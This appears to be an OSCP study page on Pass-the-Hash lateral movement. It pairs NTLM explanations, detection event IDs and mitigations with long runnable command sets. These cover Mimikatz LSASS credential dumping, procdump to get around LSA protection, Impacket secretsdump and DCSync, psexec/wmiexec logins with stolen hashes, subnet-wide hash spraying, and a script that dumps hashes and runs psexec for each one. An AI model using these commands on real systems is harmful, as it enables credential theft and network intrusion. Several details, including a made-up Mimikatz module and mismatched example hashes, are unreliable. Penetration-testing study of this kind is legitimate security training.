Domain 6Active Directory AttacksCORE

Pass-the-Hash Lateral Movement

Deep dive into Pass-the-Hash lateral movement, covering NTLM authentication internals, hash extraction techniques, PtH execution methods, detection indicators, and mitigation strategies.

Domain: Domain 6: Active Directory Exploitation•Updated: 2026-09-01
#pass-the-hash#ntlm#credential-dumping#mimikatz#impacket

Pass-the-Hash Lateral Movement

Table of Contents

  1. NTLM Authentication Deep Dive
  2. How Pass-the-Hash Works
  3. NTLM Authentication Flow
  4. Extracting NTLM Hashes
  5. Using Hashes with Impacket
  6. Using Mimikatz for PtH
  7. CrackMapExec / NetExec with Hashes
  8. Limitations of Pass-the-Hash
  9. Detection Indicators
  10. Mitigation Strategies
  11. OSCP Exam Tips

1. NTLM Authentication Deep Dive

1.1 What Is NTLM?

NTLM (NT LAN Manager) is a suite of Microsoft authentication protocols providing challenge-response authentication. Unlike Kerberos, NTLM does not use a central ticket-granting mechanism — each authentication is a direct negotiation between client and server.

NTLM Versions:

Version Year Security Level Status
NTLMv1 1993 Weak Deprecated, easily cracked
NTLMv2 2000 Moderate Still widely used
NTLM2 Session Security 1996 Weak Deprecated

For OSCP purposes, focus on NTLMv2 — it’s the version you’ll encounter in labs.

1.2 NTLM Hash Structure

An NTLM hash is the LAN Manager (LM) hash and NT hash combined:

Full Hash: LM_HASH:NT_HASH
Example:   aad3b435b51404eeaad3b435b51404ee:d8c49310079dd88e24a134a3f82e3192
Component Length Description
LM Hash 32 chars (16 bytes) Legacy, often empty/constant in modern systems
Separator 1 char Colon (:)
NT Hash 32 chars (16 bytes) MD4 hash of Unicode password — the actual credential

Important Notes:

  • The LM hash aad3b435b51404eeaad3b435b51404ee indicates an empty/invalid LM hash (common in modern Windows)
  • The NT hash is what matters for Pass-the-Hash
  • NT hash = MD4(UTF-16LE(password)) — it’s a one-way hash

1.3 Why NTLM Hashes Matter

┌─────────────────────────────────────────────────────────────┐
│              NTLM HASH SIGNIFICANCE                          │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  Password → MD4(UTF-16LE) → NT Hash                        │
│                                                             │
│  The NT Hash IS the credential for NTLM authentication.     │
│  You do NOT need the plaintext password to authenticate.    │
│                                                             │
│  This is fundamentally different from Kerberos, where you   │
│  need the password to derive the encryption key for         │
│  ticket decryption.                                        │
│                                                             │
└─────────────────────────────────────────────────────────────┘

2. How Pass-the-Hash Works

2.1 The Core Concept

Pass-the-Hash (PtH) exploits a fundamental property of NTLM authentication: the server only needs the hash to verify a challenge-response — it never sees the plaintext password.

Why the Hash Is Enough:

  1. In NTLM, the authentication process uses the hash directly in cryptographic operations
  2. The challenge-response mechanism computes responses using the hash as a key
  3. The server verifies the response by performing the same computation with its stored hash
  4. If you have the hash, you can compute valid responses — no plaintext needed

2.2 PtH vs. Other Techniques

Aspect Pass-the-Hash Pass-the-Ticket Credential Reuse
Credential Type NTLM Hash Kerberos Ticket Plaintext Password
Protocol NTLM Kerberos NTLM or Kerberos
Cracking Needed No (use directly) No (use directly) No (use directly)
Works with NTLM-only Yes No Yes
Works with Kerberos-only No Yes Yes
Extraction Source LSASS memory, SAM LSASS memory LSASS memory, config files
Detection Event ID 4648 Event ID 4624 (LogonType 9) Event ID 4624

2.3 When PtH Is Useful

  • You extracted hashes but cannot crack them
  • The target system accepts NTLM authentication
  • You need to move laterally without plaintext credentials
  • Kerberos is not available or not preferred for the target

3. NTLM Authentication Flow

3.1 NTLMv2 Challenge-Response Mechanism

┌─────────────┐                          ┌─────────────┐
│   CLIENT     │                          │   SERVER     │
│  (Attacker)  │                          │  (Target)    │
└──────┬──────┘                          └──────┬──────┘
       │                                        │
       │  ┌─ NEGOTIATE ───────────────────────→│
       │  │  Client sends NTLM capability       │
       │  │  (NTLMSSPNegotiate)                │
       │  └─────────────────────────────────────┘
       │                                        │
       │  ┌─ CHALLENGE ───────────────────────→│
       │  │  Server sends 8-byte random        │
       │  │  challenge (ServerChallenge)       │
       │  │  + Server info                     │
       │  └─────────────────────────────────────┘
       │                                        │
       │                                        │  Compute expected response:
       │                                        │  NTProofStr = HMAC-MD5(
       │                                        │    NTHash,
       │                                        │    ClientChallenge + ServerInfo
       │                                        │  )
       │                                        │  Response = NTProofStr + padding
       │                                        │
       │  ┌─ AUTHENTICATE ───────────────────→│
       │  │  Client sends response computed    │
       │  │  using NT hash + challenge         │
       │  │  (NTLMv2 Response)                 │
       │  └─────────────────────────────────────┘
       │                                        │
       │                                        │  Compare computed response
       │                                        │  with received response
       │  ┌─ SUCCESS/FAILURE ─────────────────→│
       │  │  Server accepts or rejects          │
       │  └─────────────────────────────────────┘
       │                                        │

3.2 Detailed NTLMv2 Response Computation

Step 1: Client generates ClientChallenge (8 random bytes)

Step 2: Compute ResponseKeyNT = HMAC-MD5(NTHash, User + Domain)
         Where NTHash = MD4(UTF-16LE(Password))

Step 3: Compute NTProofStr = HMAC-MD5(ResponseKeyNT, Time + ClientChallenge + ServerInfo)

Step 4: Build NTLMv2 Response = NTProofStr + Time + ClientChallenge + ServerInfo + Padding

Step 5: Send response to server

Step 6: Server performs same computation with stored NTHash
         If responses match → Authentication succeeds

3.3 Why PtH Works (Technical Explanation)

The critical insight:

In Step 2 above, the computation uses NTHash directly.
The NTHash = MD4(UTF-16LE(Password))

When an attacker has the NTHash:
  → They can compute ResponseKeyNT
  → They can compute NTProofStr
  → They can generate a valid NTLMv2 Response

The server cannot distinguish between:
  ✓ A legitimate client that knows the password
  ✓ An attacker that knows the hash

Both produce identical cryptographic responses.
This is why Pass-the-Hash works.

3.4 NTLM Hash Examples

Password: "Password123"
NT Hash:  d9b77e12b30b79bd79f685c3d00f1b8a

Password: "Welcome1"
NT Hash:  1c5e55e80c5e478b0f6e095b8d6c1b8a

Password: "P@ssw0rd!"
NT Hash:  8846f7ea3d6597398b6f9d55e4e548fb

Note: These are illustrative. Real hashes are 32 hex characters.

4. Extracting NTLM Hashes

4.1 From Windows — Mimikatz

Prerequisites:

  • Administrator / SYSTEM privileges on the local machine
  • Mimikatz binary available

Basic Extraction:

# Start Mimikatz
mimikatz.exe

# Or with built-in PowerShell version
Invoke-Mimikatz -DumpLSASS

# Enable privilege
mimikatz # privilege::debug

# Extract all credentials from LSASS
mimikatz # sekurlsa::logonpasswords

# Extract only Kerberos tickets
mimikatz # sekurlsa::tickets

# Extract specific credential types
mimikatz # sekurlsa::search [type:primary]
mimikatz # sekurlsa::search [type:cred]

Output Example:

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0; xxxxxx
Session           : Interactive from 2
User              : username
Domain            : DOMAIN
SID               : S-1-5-21-xxx-xxx-xxx-1000
  msv :
     [00000003] Primary
     * Username : username
     * Domain   : DOMAIN
     * LM       : aad3b435b51404eeaad3b435b51404ee
     * NTLM     : d8c49310079dd88e24a134a3f82e3192
     * SHA1     : aad3b435b51404eeaad3b435b51404ee
  tspkg :
     * Username : username
     * Domain   : DOMAIN
     * Password : Welcome1
  ...

Key Fields to Extract:

  • NTLM: The 32-character hex hash — this is what you need for PtH
  • LM: Usually aad3b435b51404eeaad3b435b51404ee (empty) on modern systems
  • Password: Plaintext if available (preferred over hash)

4.2 From Windows — Alternative Methods

# Procdump + Mimikatz (evasion technique)
procdump.exe -ma lsass.exe lsass.dmp
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

# Rubeus - for Kerberos-focused extraction
Rubeus.exe triage
Rubeus.exe dump

# LaZagne - multi-application credential extractor
lazagne.exe all

# Windows Credential Manager
cmdkey /list

4.3 From Kali — Impacket secretsdump.py

Extracting hashes remotely:

# Basic - extract all hashes from a target
secretsdump.py DOMAIN/username:password@TARGET_IP

# Extract with hash (PtH to dump)
secretsdump.py -hashes :nthash DOMAIN/username@TARGET_IP

# Extract from Domain Controller (DCSync)
secretsdump.py -just-dc DOMAIN/username:password@DC_IP

# Extract from DC with hash
secretsdump.py -just-dc -hashes :nthash DOMAIN/username@DC_IP

# Output to file
secretsdump.py DOMAIN/username:password@TARGET_IP -outputfile hashes

# Extract SAM database only
secretsdump.py SAM/username:password@TARGET_IP

# Use Kerberos ticket
secretsdump.py -no-pass -k DOMAIN/username@TARGET_IP

Output Format:

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
DOMAIN\admin:500:aad3b435b51404eeaad3b435b51404ee:d9b77e12b30b79bd79f685c3d00f1b8a: [...]
DOMAIN\user1:1001:aad3b435b51404eeaad3b435b51404ee:e7c0e7e1b4d0f3a8b2c1d5e6f7a8b9c0: [...]
DOMAIN\svc_account:1002:aad3b435b51404eeaad3b435b51404ee:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6: [...]

4.4 From Kali — CrackMapExec Hash Extraction

# Dump SAM database
crackmapexec smb TARGET_IP -u user -H hash --sam

# Dump LSA secrets
crackmapexec smb TARGET_IP -u user -H hash --lsa

# Dump NTDS (DC only)
crackmapexec smb DC_IP -u user -H hash --ntds

# Dump all
crackmapexec smb TARGET_IP -u user -H hash --sam --lsa --ntds

4.5 Hash Format Reference

Format: USERNAME:RID:LM_HASH:NT_HASH

Example:
administrator:500:aad3b435b51404eeaad3b435b51404ee:d8c49310079dd88e24a134a3f82e3192

For Impacket, use:
  -hashes LM:NT
  -hashes :d8c49310079dd88e24a134a3f82e3192  (LM empty)

For CrackMapExec, use:
  -H d8c49310079dd88e24a134a3f82e3192  (just NT hash)

5. Using Hashes with Impacket

5.1 psexec.py with Hash

# Basic PtH with PsExec
psexec.py -hashes :d8c49310079dd88e24a134a3f82e3192 DOMAIN/username@TARGET_IP

# With both LM and NT hashes
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:d8c49310079dd88e24a134a3f82e3192 DOMAIN/username@TARGET_IP

# PtH to Domain Controller
psexec.py -hashes :HASH DOMAIN/administrator@DC_IP

# Specify DC for authentication
psexec.py -hashes :HASH -dc-ip DC_IP DOMAIN/username@TARGET_IP

# Execute specific command
psexec.py -hashes :HASH DOMAIN/username@TARGET_IP "whoami"

5.2 wmiexec.py with Hash

# WMI execution with hash
wmiexec.py -hashes :HASH DOMAIN/username@TARGET_IP

# With DC specification
wmiexec.py -hashes :HASH -dc-ip DC_IP DOMAIN/username@TARGET_IP

# Execute command
wmiexec.py -hashes :HASH DOMAIN/username@TARGET_IP "systeminfo"

5.3 smbexec.py with Hash

# SMBExec with hash
smbexec.py -hashes :HASH DOMAIN/username@TARGET_IP

# With DC
smbexec.py -hashes :HASH -dc-ip DC_IP DOMAIN/username@TARGET_IP

5.4 Other Impacket Tools with Hash

# SAMR dump
samrdump.py -hashes :HASH DOMAIN/username@TARGET_IP

# Lookupsid
lookupsid.py -hashes :HASH DOMAIN/username@TARGET_IP

# Get user details
getusers.py -hashes :HASH DOMAIN/username@TARGET_IP

# RPC dump
rpcdump.py -hashes :HASH DOMAIN/username@TARGET_IP

# Secrets dump (remote)
secretsdump.py -hashes :HASH DOMAIN/username@TARGET_IP

6. Using Mimikatz for PtH

6.1 Pass-the-Hash with Mimikatz

Mimikatz can perform PtH by injecting the hash into the current LSASS session, making the system believe you are authenticated as that user.

# Start Mimikatz
mimikatz.exe

# Enable privilege
mimikatz # privilege::debug

# Pass-the-Hash - inject hash and spawn process
mimikatz # sekurlsa::pth /user:username /domain:DOMAIN /ntlm:d8c49310079dd88e24a134a3f82e3192

# This spawns a new cmd.exe as the specified user
# You can now use this shell for lateral movement

# Pass-the-Hash with specific process
mimikatz # sekurlsa::pth /user:username /domain:DOMAIN /ntlm:HASH /run:powershell

# Run a specific command
mimikatz # sekurlsa::pth /user:username /domain:DOMAIN /ntlm:HASH /run:"psexec \\\\TARGET cmd"

6.2 PtH Workflow with Mimikatz

Step 1: Extract hash from compromised machine
  mimikatz # sekurlsa::logonpasswords
  → Note the NTLM hash

Step 2: Use PtH to authenticate as that user
  mimikatz # sekurlsa::pth /user:extracted_user /domain:DOMAIN /ntlm:HASH

Step 3: In the new shell, verify identity
  whoami
  → Should show the target user

Step 4: Use this shell for lateral movement
  psexec \\NEXT_TARGET cmd
  OR
  Use the shell to run other tools

6.3 Mimikatz Module Reference

sekurlsa::logonpasswords     - Extract all credentials from LSASS
sekurlsa::tickets            - Extract Kerberos tickets
sekurlsa::pth                - Pass-the-Hash injection
sekurlsa::kullki_rid         - RID cycling
sekurlsa::search             - Search for specific credentials
kerberos::list               - List Kerberos tickets
kerberos::ptt                - Pass-the-Ticket
kerberos::golden             - Golden ticket creation
lsadump::sam                 - Dump SAM database
lsadump::secrets             - Dump LSA secrets
lsadump::dcsync              - DCSync attack

7. CrackMapExec / NetExec with Hashes

7.1 Basic PtH with CrackMapExec

# Test hash against single target
crackmapexec smb TARGET_IP -u username -H d8c49310079dd88e24a134a3f82e3192

# Test hash against subnet
crackmapexec smb 10.0.0.0/24 -u username -H HASH

# Check local admin access
crackmapexec smb 10.0.0.0/24 -u username -H HASH --local-auth

# Enumerate shares
crackmapexec smb TARGET_IP -u username -H HASH --shares

# Execute command
crackmapexec smb TARGET_IP -u username -H HASH -x "whoami"

# Download file
crackmapexec smb TARGET_IP -u username -H HASH -get-file remote_path local_path

# Upload file
crackmapexec smb TARGET_IP -u username -H HASH -put-file local_path remote_path

7.2 NetExec (Next-gen CrackMapExec)

# Basic connection test
netexec smb TARGET_IP -u username -H HASH

# Subnet scan
netexec smb 10.0.0.0/24 -u username -H HASH

# With local auth
netexec smb 10.0.0.0/24 -u username -H HASH --local-auth

# Execute command
netexec smb TARGET_IP -u username -H HASH -x "whoami"

# Dump SAM
netexec smb TARGET_IP -u username -H HASH --sam

# Check for various accesses
netexec smb TARGET_IP -u username -H HASH --shares --sessions --disks --users --groups

7.3 Hash Spraying with CrackMapExec

# Test multiple hashes against a target
crackmapexec smb TARGET_IP -u username -H hashes.txt

# Test a hash against multiple users
crackmapexec smb TARGET_IP -u users.txt -H HASH

# Brute force with wordlist and hash check
crackmapexec smb TARGET_IP -u users.txt -p passwords.txt

8. Limitations of Pass-the-Hash

8.1 When PtH Does NOT Work

Scenario Why It Fails Alternative
Kerberos-only environment NTLM is disabled, only Kerberos accepted Pass-the-Ticket, AS-REP Roasting
SMB Signing enforced Relaying blocked, but PtH still works if you have the hash PtH works, relay doesn’t
LDAP Signing / Channel Binding Prevents relay, PtH may still work Use Kerberos-based methods
Protected Users group NTLM disabled for these accounts Kerberos-only attacks
Windows 11 / Latest policies NTLMv1 blocked, LSA protection Need different extraction methods
Cross-forest without trust Hash not valid in other forest Need separate credentials

8.2 Kerberos-Only Environments

In environments where NTLM is completely disabled:

NTLM Authentication: DISABLED
Kerberos Authentication: REQUIRED

Pass-the-Hash: ❌ DOES NOT WORK
Pass-the-Ticket: ✅ WORKS
Credential Reuse: ✅ WORKS (if Kerberos accepted)

Detection of Kerberos-only:

# Check if NTLM is accepted
crackmapexec smb TARGET_IP -u user -H HASH
# If you get "STATUS_MORE_PROCESSING_REQUIRED" or similar,
# the target may require Kerberos

# Check with nmap
nmap -p 445 --script=smb2-security-mode TARGET_IP
# Look for "Signing: Required" and NTLM settings

8.3 LSA Protection

Windows 10/11 and Server 2016+ may have LSA protection enabled:

RunAsPPL: 1  (Run LSA as Protected Process Light)

This prevents Mimikatz from reading LSASS memory directly.

Workarounds:

# Method 1: Dump LSASS first, then analyze
procdump.exe -ma lsass.exe lsass.dmp
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

# Method 2: Use alternative extraction
# Task Manager → Create dump file (if admin)
# Then analyze with Mimikatz

# Method 3: Remote extraction still works
secretsdump.py DOMAIN/user:pass@TARGET  (from Kali)

9. Detection Indicators

9.1 Windows Event IDs for PtH Detection

Event ID Description PtH Relevance
4624 An account was successfully logged on LogonType 3 with NTLM = suspicious
4625 An account failed to log on Failed PtH attempts
4648 A logon was attempted using explicit credentials Key PtH indicator
4768 A Kerberos TGT was requested Compare with NTLM usage
4769 A Kerberos service ticket was requested Auth pattern analysis
4672 Special privileges assigned to new logon Admin PtH success
4673 System-wide filter resolved Rare, but relevant
4688 A new process was created Process creation after PtH

9.2 Key Detection Patterns

Pattern 1: Event ID 4648 — Explicit Credential Logon

Event ID: 4648
Subject:
  Security ID:    S-1-5-18 (SYSTEM)
  Account Name:   MACHINE$
Target Username:  DOMAIN\username
Target Domain:    DOMAIN
Logon Guid:       {XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}

This event indicates that a process explicitly used credentials
to log on — a hallmark of Pass-the-Hash and Mimikatz usage.

Pattern 2: Multiple LogonType 3 Events

Event ID: 4624
Logon Type: 3 (Network)
Authentication Package: NTLM
Source IP: Attacker's IP
Account: DOMAIN\username

Multiple Event 4624 with LogonType 3 from same source IP
to different targets = lateral movement via PtH

Pattern 3: Time Correlation

T+0:00  Event 4648 on source machine (credential used)
T+0:01  Event 4624 on target machine (successful logon)
T+0:02  Event 4688 on target (process created)

This timeline indicates PtH followed by command execution.

9.3 Network-Level Indicators

Indicator Description
NTLM traffic spike Sudden increase in NTLM authentication from single source
Unusual source IP NTLM auth from workstation to server (not typical)
Multiple targets Same hash used against many systems rapidly
Off-hours activity PtH during non-business hours

10. Mitigation Strategies

10.1 Preventing Hash Extraction

Mitigation Description Implementation
LSA Protection (RunAsPPL) Prevents LSASS memory reading Registry: RunAsPPL=1
Credential Guard Virtualization-based security for credentials Group Policy → Credential Guard
Protected Process Light Enhanced LSASS protection Windows 10/11 default in some editions
Restrict Admin Access Limit who can dump LSASS UAC, least privilege
Application Whitelisting Block Mimikatz and similar tools AppLocker, WDAC

10.2 Preventing PtH Usage

Mitigation Description Implementation
Disable NTLM Force Kerberos authentication GPO: Network Security → LAN Manager auth level
Enable SMB Signing Prevent relay (not PtH directly) GPO: Microsoft network server: Digitally sign communications
LDAP Signing Secure LDAP communications GPO: LDAP client signing requirements
Channel Binding Bind authentication to channel Windows Server 2019+
Restrict Admin$ Limit administrative shares GPO: Restrict anonymous access

10.3 Detection and Response

Action Tool/Method
Monitor Event 4648 SIEM alert on explicit credential logons
Track LogonType 3 patterns Correlate multiple NTLM logons from single source
Baseline NTLM usage Establish normal NTLM patterns, alert on anomalies
Deploy EDR Endpoint Detection and Response for behavioral analysis
Network monitoring Watch for NTLM traffic anomalies

10.4 GPO Configuration for NTLM Restriction

Computer Configuration → Policies → Windows Settings
→ Security Settings → Local Policies → Security Options

Policy: Network security: LAN Manager authentication level
Value: Send NTLMv2 response only. Refuse LM & NTLM

Policy: Network security: Restrict NTLM: Audit All NTLM inbound traffic
Value: Enable auditing

Policy: Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers
Value: Deny all

11. OSCP Exam Tips

11.1 PtH Quick Reference

# Step 1: Extract hashes
# On Windows:
mimikatz # sekurlsa::logonpasswords
# Note the NTLM hash

# On Kali (remote):
secretsdump.py DOMAIN/user:pass@TARGET

# Step 2: Use the hash for lateral movement
psexec.py -hashes :NTLM_HASH DOMAIN/username@TARGET

# Step 3: Enumerate where the hash works
crackmapexec smb 10.0.0.0/24 -u username -H NTLM_HASH

# Step 4: Check for local admin
crackmapexec smb 10.0.0.0/24 -u username -H NTLM_HASH --local-auth

11.2 Common Exam Scenarios

Scenario Solution
You find a hash in a file Use it directly with psexec.py -hashes :HASH
You dump LSASS and find hashes Test each hash with CrackMapExec across the subnet
A service account has admin on DC Use PtH to reach the DC, then DCSync
Hash works on one machine, not another Check if target requires Kerberos; try PtT instead
You need to move to a server Check if the user is local admin on the server first

11.3 Troubleshooting PtH

Problem Cause Fix
STATUS_LOGON_FAILURE Wrong hash or user Verify hash format, check username
The target account name is invalid Domain context wrong Use DOMAIN/user format
STATUS_ACCESS_DENIED Not admin on target Hash works for auth but user lacks privileges
DCERPC Runtime error RPC issue Try WMI or SMBExec instead
Hash doesn’t work on DC DC requires Kerberos Use Pass-the-Ticket or find plaintext
Connection refused Port 445 blocked Try WMI (port 135) or WinRM

11.4 Essential PtH Commands

# Extract + Move (one-liner from Kali)
secretsdump.py DOMAIN/user:pass@TARGET 2>/dev/null | grep -v "\[.*\]" | cut -d: -f1,4 > hashes.txt
cat hashes.txt | while read line; do
  user=$(echo $line | cut -d: -f1)
  hash=$(echo $line | cut -d: -f2)
  psexec.py -hashes :$hash DOMAIN/$user@NEXT_TARGET
done

# Quick hash test
crackmapexec smb TARGET -u user -H HASH

# Hash to PsExec
psexec.py -hashes :HASH DOMAIN/user@TARGET

# Hash to WMI
wmiexec.py -hashes :HASH DOMAIN/user@TARGET

11.5 Important Reminders

  1. Hash format matters: Impacket uses LM:NT format. LM is usually empty: :NTLM_HASH
  2. CrackMapExec uses just NT: -H NTLM_HASH (no colon prefix needed)
  3. Always verify before attacking: Use crackmapexec to test hash validity first
  4. Document the hash source: Note where you found each hash for your report
  5. Try plaintext first: If Mimikatz gives you plaintext, use it — it works everywhere
  6. Hash is per-user: Each user has their own hash — don’t mix them up

Summary

Pass-the-Hash is a fundamental lateral movement technique that exploits the NTLM challenge-response mechanism. Key takeaways:

  1. NTLM hash IS the credential — no cracking needed for NTLM authentication
  2. Mimikatz and Impacket are your primary tools for extraction and exploitation
  3. CrackMapExec/NetExec excel at rapid hash testing across networks
  4. PtH fails in Kerberos-only environments — know when to switch to Pass-the-Ticket
  5. Event ID 4648 is the primary detection indicator for PtH activity
  6. LSA Protection and Credential Guard are the primary defenses against hash extraction

Master hash extraction, understand the NTLM flow, and practice PtH with multiple tools. This technique appears frequently in OSCP exams and is essential for AD penetration testing.